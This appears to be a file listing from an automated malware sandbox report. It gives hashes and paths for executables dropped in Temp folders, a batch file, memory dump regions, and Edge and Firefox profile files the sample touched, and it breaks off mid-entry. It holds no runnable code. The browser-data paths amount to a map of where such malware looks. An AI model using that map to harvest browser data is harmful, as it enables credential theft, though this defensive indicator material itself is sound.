C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 6b8b6f4ce0133b9a2b72ccf158cc4666
SHA1 8ad283b9f732642420fe58fbbb8a86561ed951a7
SHA256 3578966c6e0c7a6a0659a8b1761c4d2d8cfa4df0e94d3a5af3074829715eb9c1
SHA512 74312cdb1094ebeadc8749a4fae74b9700ecb85d9bed2914c35a78fa69a84bef5bd5fc8a8dd83da8315cee36142759cd448ec342b122cdf6831693549847ba3f

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3T73k.exe

MD5 5bf5b08032240a44e37b7f651b06344a
SHA1 e6eeda6b821ee4a27a468be7a1498b96af467160
SHA256 d79af6ba1ae3556cc52ade95e0c8603d50cdb5c4855ed1be38fd42beab37ba48
SHA512 6e15563b32ff2a0b24046a85beb9136ef763975e110a3b6732e44f0405a65717b13ddc334a930d05e49928486a4d1a9266f317b1a667b127f5aab2ee21f08a5a

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 b2c938d20373395bc507c72020dd0c93
SHA1 07ce37d23a96b6e2f552434df47707c0f3177b36
SHA256 f28fd074aea17fb5aca7bb4d3e58aefa67d003cdb517ae050698aede6d086c5e
SHA512 9ddfde15aef7779988439f0b02944c064505da53da4078b07d7fe73fdf48cdb5b06cc8288a84dcecbf3f87fda18c9117ff8dbb20cc309fffafe1bce2f424c69f

memory/5608-229-0x0000000000470000-0x0000000000B19000-memory.dmp

memory/5608-240-0x0000000000470000-0x0000000000B19000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4g841H.exe

MD5 7bc9a4b0a29300b69d7fb87077e1203b
SHA1 57f68d45f3ce1988303816a83f88f7fcced566b0
SHA256 2936a2bb0e2ae2912b5774fa539771763692d53db82c3e9e3db1ad0c064032a0
SHA512 85a9b0655c672867ea0d50eea27d421fffde57e488383ed949900c6ee5ebc41d52ad7d0304dba13b22e78030e81c699caa9f61ef4d95b393c61fed114cb302f0

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y0bypz8z.default-release\AlternateServices.bin

MD5 2f5d2cb586d6da7805c73645fbec6bcb
SHA1 d54ee54c322ca84249d1ecd889cf404557e7e459
SHA256 c853d028b9abadbf675802005e67a29debb687f893efaf412b6a788cf92f2837
SHA512 ea8d42d9fd6a49a2f4c91bae6a4c99d28326c5f59cfce3d59d8be5cd2005c9adff62909df7caa9e3203707e8e382601f66070c9b8924809116683382b0048788

C:\Users\Admin\AppData\Local\Temp\1006055001\babababa.exe

MD5 8fb77810c61e160a657298815346996e
SHA1 4268420571bb1a858bc6a9744c0742d6fd738a83
SHA256 a0840c581f8f1d606fdc43bc98bd386755433bf1fb36647ecf2165eea433ff66
SHA512 b0d0aea14bfbb5dfa17536b1669d85fc1325140f6a0176ae1c04870efa3adc902d5755f0df00d305f01120960e95bfc40c37c7519ec2827797ebaa95097cfeb2

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y0bypz8z.default-release\prefs.js

MD5 a782a6d6b9e313a125c48813e0ca5a79
SHA1 1a31c3220c9e4dd44d1eabe2ecca846f7c5be0ca
SHA256 dd4a13dbb7468fa7456a2cbfab9fe8c3f52f03b1eb2f06040f2b7c475bc8a70a
SHA512 010cb7b3dbe39bab3ac25cca8f260956d6091bad9c6fa32d4f11a2dc338a41eb3f905a7bb12f6de638f7eb6a88e4b5dbb605e523010f208093048e2a266040ac

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y0bypz8z.default-release\datareporting\glean\pending_pings\ed2e587c-d2e9-4e96-9c45-37d6a990dbf0

MD5 fd3be5692441d10907f1fbd6857bb466
SHA1 7ccd25d016de6342fb88762df644c7f7d9708220
SHA256 ba5f7055873dc2a1fb8dc155323a12d4f8151033e7b181de75c8522f7cb638c8
SHA512 b48e9cdc7917d1a3ccabf7b2dc420c7384299116c9950be5221da5795f21fa021035f8481ff56093712f98728736eb2a50900ee1fd11905c2ed5b0e82d69d55c

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y0bypz8z.default-release\datareporting\glean\pending_pings\499bdddd-711b-46b3-bae5-8012a1e8b4af

MD5 e8870bd71215a361ae2e7cfd43edeb38
SHA1 eb4f18fe39e885d9f8cf78eb42e8743dd13b3484
SHA256 9b6777b46ac007316c7b8810e265fe08803f7206978896403c08a77998db59a6
SHA512 16e0bd6c80f0d94b840132d5463db383a677001b288b38bf25537a161701f71c13e01f2d2a5ac21fa3a5303ef416ef321132be102f752bcbe9a237e9e0df54eb

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y0bypz8z.default-release\datareporting\glean\db\data.safe.tmp

MD5 7c36215c44f82edbf24553bdc1839bdb
SHA1 f1cdd8aa470d0e6192daa022b4b11ff2f7d4814d
SHA256 9431dcc72d5054cf5479922894e0d96aa1d3c1984a01773facbf3cf5e4a56b3c
SHA512 70135cbb51da453cbc53d9d43c7795844b0e675506243bc076c81e171e295efbd723a5525da38c066cda955337fbddabed6e5c0bafb88276caa1238c15c0d8e3

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y0bypz8z.default-release\datareporting\glean\pending_pings\9714f290-d8d4-42c2-8461-10914fe6216c

MD5 6c383b16c36a9db1a9e869dc810af6b8
SHA1 dcbbbb5b6093670292b362487e4d6e44a3c8c96d
SHA256 12f9681e9ba6dc9dfc6fbd5cbe6585b3b9635883d3bda15ee77f21d6f72d9ed1
SHA512 fe056243259b211ea22e8fb432b2d5592e5ddbbe18b9bb7609239bd744c64b329986d2bb5e9a2ad9f7a0dc03594899337f323e2d0c72f355550965fa6e9f3306

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\y0bypz8z.default-release\activity-stream.discovery_stream.json

MD5 01ee22ad76909a4ea554bc31b3ba729b
SHA1 faed6495a24453280b0a9e36ccdaf3a32f44f7ab
SHA256 936ba1161eaa4c2e3643c3cffcf0566fb407edad216e98ae071fa997fc16d7d9
SHA512 3716fb0efa17ed6449a1ab3967b4098595f60a53caf7985475e11ee486771073081ba7704c4f73279067ea4fe0a30319c4ddff9876baa59fa6ce5112737464e2

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y0bypz8z.default-release\datareporting\glean\db\data.safe.bin

MD5 b13d004980e72b5203165cd7f1d7c48b
SHA1 6499f67a0ef18d42583f20ff3dda5c55f3ca6d81
SHA256 9c89d5635d7c3dd16d957ed34968c419f3a7a3c16595691ed1ce830e22907a16
SHA512 089368eb361f4fb037b5d82d43b57a0a078c6b67569bb54fc5decb837f425d977c0a43bd38e446bc0703f5e193f740236c15a418aa7a172399d8599be216f703

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y0bypz8z.default-release\prefs-1.js

MD5 357c3dfeb059b6d00700616349652dfe
SHA1 4ab4e333403d54d0d6124d7a7fc3e1756394ff84
SHA256 7c836c0946b290e6dae6854f24e8677515acb26f9c3416d7ffed56d73df6e408
SHA512 76dc8dab7e900eab32209355ba7d0335484fac78d4a9898bd3e5462a3a0713be61e92f9298bc3649421e6fe56759fb0e1f154c50f1714dadfafcc341d050c84e

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y0bypz8z.default-release\AlternateServices.bin

MD5 b7165b657046bc3144b0e1bd67d3297c
SHA1 f95904b61143303e2b66891c1ad46f0cc5587b0a
SHA256 5c29556678d10ccd3e07c00357928d2f7daada39e699e4aea0417f39908c99db
SHA512 1967cbd69a4d402d7c49ef9c3209adb95e46d514dda0a24a602369b89153d307ef2ef5e55680abfb7ec66fcc2a50de6bcad1c9259882371aaa6ee9eaa91d6f06

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y0bypz8z.default-release\prefs-1.js

MD5 03b6a178ea1b25b162ad4f3c29d3049b
SHA1 950a93691f6007ed3221a1199a1b17c1210f898f
SHA256 6fa061b80d8ab7624cf57a4593bb01c8ecdb25bbaa174dd4b6624dc20c94d01d
SHA512 3430b0fc906f8fa8901044a7d5f81be25fe717e19366ec1d20f065dc5e0fef8b1631db38244d09527147d752c723cf3c5a8b79df13221e0dedbf50b2868e0377

C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe

MD5 488192b42924057d251cc3d5212dc451
SHA1 f0d20d9bc729ba74cb980e44789bf0e919f760fe
SHA256 7e92078811fd6bc34f2367cee3bfb122eaffdd995f6fd479ffae6d3aea50cb86
SHA512 1b4dc240c440c324fb0a7598e4c725f2b92bad0999fbd4ebffd8eec78e31e5887396e2721464bcecafa1c00703269edb24f6b94fbc4879373f4847840331e315

memory/5004-1016-0x0000000140000000-0x0000000140026000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\7D2A.tmp\7D3B.tmp\7D3C.bat

MD5 3b09cde57cab3d2911a3a3bafe5c15f6
SHA1 f41ff9151d35db47938ea678ccb28ee7e538401b
SHA256 52bf27517f2d6fb4b5e872d0b7d87fa5327226560962c14c29bdd7d02fc74265
SHA512 510d3076d10682123bb90f4d7837b97a971c6896f0ff6433d9823b702ee0c75a912368e916abfecf8a92be1b458325b27e40da5f5d0ce42e31a77133f0a8f307

memory/3512-1024-0x0000023AE0B30000-0x0000023AE0B52000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_drlktd1q.0il.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/5004-1060-0x0000000140000000-0x0000000140026000-memory.dmp

memory/5004-1062-0x0000000140000000-0x0000000140026000-memory.dmp

memory/6236-1078-0x00000000006F0000-0x00000000009F0000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History

MD5 11de77e79a716e24045260effbdb5087
SHA1 2037ec890fb537d87372fcdda724c7d9586fdcf3
SHA256 e885c15faee2fd07f2e6ad14b724d3af43eccd4fd759b8cb338365ddc368795e
SHA512 3ddeedbfc0c47f01277fc03ea3d49cfa41ca6fe6ab50717aa71c75a6b96570a392a4a60955212f156ab1eea8ca86ad70e5c5c4bc9f8a37f980809fb0d3d8425c

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Version

MD5 838a7b32aefb618130392bc7d006aa2e
SHA1 5159e0f18c9e68f0e75e2239875aa994847b8290
SHA256 ac3dd2221d90b09b795f1f72e72e4860342a4508fe336c4b822476eb25a55eaa
SHA512 9e350f0565cc726f66146838f9cebaaa38dd01892ffab9a45fe4f72e5be5459c0442e99107293a7c6f2412c71f668242c5e5a502124bc57cbf3b6ad8940cb3e9

memory/6408-1089-0x00000000003C0000-0x00000000006E7000-memory.dmp

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y0bypz8z.default-release\cert9.db

MD5 444d0b3df679246e3652737b2f87ab9a
SHA1 a16fca2b74c8bb6d7baaed696d5fa38dd2336f79
SHA256 42e5bbcfddfac3031d1f12341fe3422a7e4938d86bb82e40c5a2f1eef3cad7c4
SHA512 fd1b4f8c3213bd0194e2f0f11a4467d6e00a41643c65831952f6620f23fd351804ec67e1df6c3b1e0a0edb6c13334131afea553392c4356138ed98b7f672f1b7

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y0bypz8z.default-release\datareporting\glean\db\data.safe.bin

MD5 2645f0f558d358d910567363cd78d4a9
SHA1 389713db9ccbdddcf79755dc90c4c931b7bdaf05
SHA256 4d61e7b6460f6b23de103af9d673ab33499f3023ca66f332f2f268415ee88268
SHA512 9db19970c6c5eff5cdb8231cf3c7a9988b1465894c3737ec0b2d92e9d5167d617466ec36320db47f1231673fe77ea8d1150c956d3fd59e8790a1aca8c032b29e

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y0bypz8z.default-release\datareporting\glean\db\data.safe.tmp

MD5 a092cdc6154fd58f2dd468aa202f0fd4
SHA1 f7223789903f86538df89e66d86d420004420992
SHA256 1b92fb7a0c76765a00f39800e4f1a7b69f33f010204707ec51a4d54ca5aa055a
SHA512 b9a2d2d0d1a3ee9bfb3507e53e6f43313b4058c5f1b3a1f1656a2d88fd16bcb3535b24f78c2ee8598fc90a9503e0f072ed548d3ab17c3004aa6e36ecf0a344bd

memory/6860-1142-0x0000000000AE0000-0x0000000001189000-memory.dmp

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y0bypz8z.default-release\gmp-gmpopenh264\2.3.2\gmpopenh264.info

MD5 2a461e9eb87fd1955cea740a3444ee7a
SHA1 b10755914c713f5a4677494dbe8a686ed458c3c5
SHA256 4107f76ba1d9424555f4e8ea0acef69357dfff89dfa5f0ec72aa4f2d489b17bc
SHA512 34f73f7bf69d7674907f190f257516e3956f825e35a2f03d58201a5a630310b45df393f2b39669f9369d1ac990505a4b6849a0d34e8c136e1402143b6cedf2d3

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y0bypz8z.default-release\gmp-gmpopenh264\2.3.2\gmpopenh264.dll

MD5 842039753bf41fa5e11b3a1383061a87
SHA1 3e8fe1d7b3ad866b06dca6c7ef1e3c50c406e153
SHA256 d88dd3bfc4a558bb943f3caa2e376da3942e48a7948763bf9a38f707c2cd0c1c
SHA512 d3320f7ac46327b7b974e74320c4d853e569061cb89ca849cd5d1706330aca629abeb4a16435c541900d839f46ff72dfde04128c450f3e1ee63c025470c19157

C:\Users\Admin\AppData\Local\Temp\tmpaddon

MD5 09372174e83dbbf696ee732fd2e875bb
SHA1 ba360186ba650a769f9303f48b7200fb5eaccee1
SHA256 c32efac42faf4b9878fb8917c5e71d89ff40de580c4f52f62e11c6cfab55167f
SHA512 b667086ed49579592d435df2b486fe30ba1b62ddd169f19e700cd079239747dd3e20058c285fa9c10a533e34f22b5198ed9b1f92ae560a3067f3e3feacc724f1

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y0bypz8z.default-release\prefs-1.js

MD5 7105c1032212c427551bc05579e64b98
SHA1 4f61d782ed1492d6cfd94b72f4fe9a19ff5dc7c4
SHA256 ecae54c22a5ec126ad2f571bab72e5e7582fe91ece32672204416b1bf194193d
SHA512 b0bd854b2ff8204adb2f05dbdef22f9b09d5404fcb57612855a5c05bbfc8865766db5684802fb6f8ac2c437b2d2f399854e92dd97982ffc7f890bcc13b1d74e5

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\y0bypz8z.default-release\cache2\entries\39DB9E847E680B765D7B04FCCE6BF5BC0225F878

MD5 ddc7a11aff6768483e48d2e2a81a5591
SHA1 dc0b3d8b52b0bc489a49100130621708d2147604
SHA256 011ae3ab03d414d14fe8271a811a6132e9ef6d6fbb919d0a9cf84db2841bba58
SHA512 f440b7c5f42cd0c6e39ede5442885a771bd54591e4886c79b8fa792afe1f8a2cb1963abeaab62f3f24c1740454a674b999566493019af45aa5ce7142fddaa893

memory/6860-1192-0x0000000000AE0000-0x0000000001189000-memory.dmp

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y0bypz8z.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite

MD5 c301fa920d92386dcac48dd7f77e1a7c
SHA1 7f68ce9034706c7b422f6e0bca4fab767e41862f
SHA256 f0b6322916d48421cf7ec3007150a6f43be039b56383f63de9ca166343a6938d
SHA512 51d51247e8e37107660f20b5ccc5a763ccf7a5ea4f61107a80cf3a55bde887a7aab1d9da0b785105148bc255abeb6e32d5f4ca816a4c86a90072b31549b71ec3

C:\Users\Admin\AppData\Local\Temp\tmpaddon-1

MD5 0a8747a2ac9ac08ae9508f36c6d75692
SHA1 b287a96fd6cc12433adb42193dfe06111c38eaf0
SHA256 32d544baf2facc893057a1d97db33207e642f0dacf235d8500a0b5eff934ce03
SHA512 59521f8c61236641b3299ab460c58c8f5f26fa67e828de853c2cf372f9614d58b9f541aae325b1600ec4f3a47953caacb8122b0dfce7481acfec81045735947d

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y0bypz8z.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite

MD5 d7a455ee68a2e1bc939dfef570aff131
SHA1 b9e7598f456e763d11ccafa7b259b2ce8169ffcf
SHA256 88dc9c36f4de8c1a4444731be4f6296bea72e493a09f71fb36c668ea556366ad
SHA512 a77c337fe0a5c9a14fcd57d1b81878b9b4f872886d3a826655041981d8363ee284d6809a7b092cfbed54648dd54a486d5f591cce26fa6ba9308f96c752a5f995

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y0bypz8z.default-release\gmp-widevinecdm\4.10.2710.0\manifest.json

MD5 bf957ad58b55f64219ab3f793e374316
SHA1 a11adc9d7f2c28e04d9b35e23b7616d0527118a1
SHA256 bbab6ca07edbed72a966835c7907b3e60c7aa3d48ddea847e5076bd05f4b1eda
SHA512 79c179b56e4893fb729b225818ab4b95a50b69666ac41d17aad0b37ab0ca8cd9f0848cbc3c5d9e69e4640a8b261d7ced592eae9bcb0e0b63c05a56e7c477f44e

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y0bypz8z.default-release\gmp-widevinecdm\4.10.2710.0\widevinecdm.dll

MD5 daf7ef3acccab478aaa7d6dc1c60f865
SHA1 f8246162b97ce4a945feced27b6ea114366ff2ad
SHA256 bc40c7821dcd3fea9923c6912ab1183a942c11b7690cfd79ed148ded0228777e
SHA512 5840a45cfdb12c005e117608b1e5d946e1b2e76443ed39ba940d7f56de4babeab09bee7e64b903eb82bb37624c0a0ef19e9b59fbe2ce2f0e0b1c7a6015a63f75

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\y0bypz8z.default-release\cache2\entries\D500AD994A7515157BB2A6ADD5B18B754E4D2F99

MD5 fcff8116ad64ed8474b11ec8be3a0034
SHA1 71d48cdce9c4ba326f13dec67c2215eed83c998d
SHA256 0f92f31235649cf6453f810055e945f0bc00e73084a6065b4f1bfedeef1a56cf
SHA512 cfae9bda1f93a6ac76ab49f783ac3b757f8d20c82b5c2ee6f1a7ec69356aca1c027ca8fd2489411b877f8dd04c493f1833799af9a5e16741f3bd829b82cdf2d7

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y0bypz8z.default-release\datareporting\glean\db\data.safe.tmp

MD5 2fadcceea36b3d13746b3e8d8d78fe03
SHA1 3f1c8acad8d4665de4a57521bce32b4d024c6ec8
SHA256 60428bfe549b1f9fc8c2acadca3183665575cd2f3e314c151cbe8d0af46f2cfe
SHA512 61506c7d8af222e8f39f74440fbc02a60f9a6ed8a12d8f4cc7480779bf377d5ba0cff9c555e8452864f9c51b4d679c72c341620a988f26bdc94905195a953b48

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y0bypz8z.default-release\datareporting\glean\db\data.safe.bin

MD5 abf59bee8435f93543338a952043d134
SHA1 0f0213822db1e471e85e6e4dd7d87b7693bd1028
SHA256 b6cdf36e5dff1db58affa5604a738aaee8df833ff9e0bf4cf39168a45e817771
SHA512 c60e2ac7ad897526e742472e541771916a9cf729d63bcaa0f33d61c2a0160d457712939b284540c531ca3f6d0d5ba2e7846a761934b8371df3156297645e25d4

memory/6236-1373-0x00000000006F0000-0x00000000009F0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1006063001\1232b87211.exe

MD5 943339c27f115fcb173c991bfc77ee8b
SHA1 7753f00706ebf2558fd38543984244ee62db528a
SHA256 adbaf41442e5f34fa4927097a33aab9171c5ad65ea152ca90635919d96ec3619
SHA512 4678ef9ec85ce7c9ff5ebcc38a4c6dd392e410766a5b6d532188faa4ff6c603135c17caa670da0a1987ca6a79a31d5001e6acd84b736185df3caa0036e5a7617

memory/6704-1572-0x0000000000A20000-0x0000000000CD8000-memory.dmp

memory/6704-1631-0x0000000000A20000-0x0000000000CD8000-memory.dmp

memory/6704-1627-0x0000000000A20000-0x0000000000CD8000-memory.dmp

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y0bypz8z.default-release\prefs-1.js

MD5 0396d8753a8c85bc2c6a408741eccd5c
SHA1 76a034f13bab94a101184e40c50adcadf1c1960e
SHA256 8446dae55dc9e8b63c0be45bff152c0bf7d2d6182f232bfe20b1b0317e520441
SHA512 6509693a5dcdbb500b2f597c8955de54c6ecf5a57ec92d847b1451ace96d44ffd4fccdf306e1ca4366ea2e93c2937b334442954ce505d3095b63d7a97cd2c3d8

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 7cd657689252f6e187103461e20f5b3c
SHA1 b7d25c41cf8647eed146807514ccd3e1a0346925
SHA256 de848323f395a0ebaff3073ac825f9b84aeb4855d95197f27881377d13cff032
SHA512 0245dd348ed45fd9fe1419868ae5c44a561cbf6d2f17ba8d51100951910c0c861d4e6d80b00e3d784e25472e48d7be11c9000b75e3a1d91af1b7dd68afb30a24

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

MD5 a23bcad74bf147c8b653e0db501b543b
SHA1 26dfba887ae6241e01017b5f2cb090c90925d721
SHA256 164cda080216c7477b357b3d7f4cb21f6fef43b528f0762d46e3315daeb35151
SHA512 ed4ea050b5955dce3417f11f1d42cd822579359f13c6eafab35cc9785c3c4b59a178a90c9804b4e4b9056537422d55fa446c8e6f5dfe22c5539e2a4ddc089325

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

MD5 c6293becebb0fd4bb2d2aa49dc333c02
SHA1 830c75471559924df67521c6b5403348ab939cee
SHA256 f720c5c46cb70eaff90119e3c131368cf58182f8a5d36afcefd6075a7f6b5a1a
SHA512 0034cab45fc85cbb6ac28105a7d2021b8beffab9afe4aa4e31e6f424f41d2995d53b0d84533b0535e2f2b3094b1ce8fe1211b8589f183e61916839fae4b53d67

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Visited Links

MD5 94303dff72c9d74c35e64d1e38015c00
SHA1 1bbf0ed09f1ba2905fb8e1cc03c7edcece334003
SHA256 7b64cc592f1e5772a5020bee71c8c11e0727d2527956c53ab1a1990092ada19a
SHA512 9ae379c6ff8df9aa83a502d2a5484b16fe7b596165c98e9793b9b9a5c08ff6379c69264ee20acdc48ad112b00e5bf79c925ea033373c8a54d0c71170c649d391

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376008706902931

MD5 3362abc9fcd1bcd3c48ffdf93dd56250
SHA1 ee8ee2bc3edf0396e7c21001ceb7be1c95afdd9f
SHA256 b831088dc159f0be80804bd8808302bae7993bee932fdbd64da05adb9fee56e1
SHA512 5c084c39813dd39504fa206026e90c36aef72f80dc05720d06fc94e1f0e26882d51f0e22e975ed2a2927b7f236cd3fb19e03dc922dde0b5dc80330b575da6307

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Tabs_13376008707185931

MD5 6594568ded9b3e5b12b1dbcc669e6164
SHA1 e15fa65480892d952c5ad1f6d9fc51097d4ba867
SHA256 83405c6fee77c266fc04f44ae7d0cc621beaf3cdaf101ae1c21d4372c0cd62e5
SHA512 125cc637185fc017904a166aff44221adce232b0b2632c6235c248cf33227a57d48ab775ca152d1498a7dd81e00835723f39a5ed2b221bc125d0eefb27dff045

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Favicons

MD5 e29b749fc8ce8fdad79c1b92e1c53086
SHA1 c4c7179ebaac389062964e951ec86418c8eeaee0
SHA256 ea230d84d92f70e45ebd6730e9a512372cbfae01994560e55f22fc68abd5d2eb
SHA512 95d81be99d6b9e188bae6469910693b3b1a26d893f788c8764321d7c12c340a00d39e8e607d8bdcc95165720ab4da78aa026e0f80656030641ca48c74f673098

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 92b7ee90cb6ee71d3e49153ff23c6ed6
SHA1 868fae0e4d4169e57991c90123d7ac17dffbb0d7
SHA256 ed23a79b8fd86a47c392d5426b2377d01e2c653d8a0af6f8b6310be230ffd6f5
SHA512 74ec22f8beef2c0feefc4b3f9e261f69816b690e214d757fbffd830d51552284daa513fff83eddb60d066ac8dea7b7382e4b90f44b12aaf7461da204f7857cab

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

MD5 0b22649aa69d0097e4473feeb34a7480
SHA1 ea2da844d9fa685048763ec0d880dc7929830cec
SHA256 81eb6e2dfd638edf7ce02c3a37c035c073a1748b54db78067e9aec9d8fa14f23
SHA512 80c1bd27967361d80cae6b444be8fa3c619e9a6f4fbb89b3667da1ddfb4e543b45b93479aca11cebbb4b547dca1fb0bad0b46c03125970b96eaa07d03b11d9da

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

MD5 3a8a96b4a7a4dba744ed35d602a58745
SHA1 e1bb7a6e68fcb80b1da9d6384ed9ce93a43c13ac
SHA256 70d70f499fa67440f6d34bfea5a1a21f44a03f79d893e62bd6c9151a38ee517e
SHA512 63e9cdbf20ac9c209fca5766b9a54b24900a609e60c9ea5ae7958658af870fdee1d6fdb6fb606cfff44c7b48021debc520d79e43cbde7d672ead2784208295f3

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

MD5 831c39cf88d819e53c0126ad5009cf12
SHA1 51d70b8149ac0546137cf7f9410e88244c15dcdf
SHA256 4b1df3752ca859228fd9ab7db9bd4cc4727afa54bbfa2edf1fe2ae494b487186
SHA512 f7cb7d1699d16059ffe49c76161496fcfaa416995d38d940869a903227b4fd9b7216eaf18b734b705556c3fb0fd36976226a4c6e6c44d6dc6d565f0dea09ddb8

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 397298a40f85f2b84016f52715da69ba
SHA1 5d803746c5bc786084a250b0c346ad06d44a6936
SHA256 9e4f8f2e9dfb4b6533c4ac7ac0afe2aade55e8b7dc07b5bd6612f6beea3c350f
SHA512 02c587e9f9e202feef57774c63702083e4f12f5cf7cc120c8c6e73beecd2fd4baa1b359d3560bcecbf3bf6e2cb8b2f7dfbb3e17aadbad67942202b9400dffc92

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

MD5 c758eb1e0aa6dc69620ed45e6164e318
SHA1 1200ed0d0830fdbc6f1ec3da0539f7af8ec0339d
SHA256 2986e653d6258f1bed7419913994d098cc01f76b6ef41d57eadaec37276028e2
SHA512 fa3424f9340b2725e435a2f29b3d36e3411216d85b88f6aad065d73371457f2c9d18a8204b920672fb406890bd500c27e4d4f551e25013c3c919a6af5bb1d043

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

MD5 ab7f2f8f728ab1a519ff95e6af07c963
SHA1 e6ce97351653d327edb286b552c5faa7b4fb20c6
SHA256 76cabb1fcdece95812f950a8cba9ab09cc451bf29bbecbc6c5a343835f0a5b8d
SHA512 cd032fd11a60b888baad339e5a25acc5a010db76c3c87ea99102e1be37d2f621f1cd95a3efc05b1e60f5c7573115c08d63b00aa389f3cdde944c2f379188b61d

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

MD5 557c3d5714a50d1b9b55d8731f7114b3
SHA1 20b87bebc693f1104ba602f125211be5806e3c7d
SHA256 b4799991bf43297c6e89a4cc8b16cdd338f235e2b025abf35cc806e4ee565844
SHA512 7b3ff943d18d270d118ce9a328df094d7383dbf97f7055f0a01dc28a93bd6221a543139eae98acc2cc5e7212729be850776b1208d6a6a1aff7df53c13163375b

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y0bypz8z.default-release\datareporting\glean\db\data.safe.tmp

MD5 c415ca03e384edafcac83f585291dac7
SHA1 28d99aac9fc5ef63109a94fefdafb44f0c37aea0
SHA256 44616cccb1ca04196b741d22410820a121a9a89ccdcb3d20a07348bbfe45ba83
SHA512 2cb86f8fb05f0b685c225f119afef3004ad85babd69b2df972e45e544b1154615dc887e70f9dc6f057c25e5d04ee2c8d9860c9fbd88e9aa861c67cfcee2419dc

memory/6704-2991-0x0000000000A20000-0x0000000000CD8000-memory.dmp

memory/6704-3117-0x0000000000A20000-0x0000000000CD8000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

MD5 aefd77f47fb84fae5ea194496b44c67a
SHA1 dcfbb6a5b8d05662c4858664f81693bb7f803b82
SHA256 4166bf17b2da789b0d0cc5c74203041d98005f5d4ef88c27e8281e00148cd611
SHA512 b733d502138821948267a8b27401d7c0751e590e1298fda1428e663ccd02f55d0d2446ff4bc265bdcdc61f952d13c01524a5341bc86afc3c2cde1d8589b2e1c3

memory/6236-3449-0x00000000006F0000-0x00000000009F0000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 71a11019acdde9c9d64cc1ce0470a8ac
SHA1 7b2d03e6e93a299ec55e91f7196c8fde56120e3a
SHA256 726e20801adc2c9fa9d3b96fe8f75fc776f9625474b0c9f09468a1323f56e53e
SHA512 9ef6d412e53c76eae414ce82cbf24eb1db3aea10e2e10f53894020f92cf2d5145de3ce8c5d709b3b54e2fed87c00ad2d37495b3caf5d7982b1209d726f1562c9

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 3273b333b603d94de6233aa65729aeb7
SHA1 e464a6269f6ee724d4203df8f9441539c470f4d6
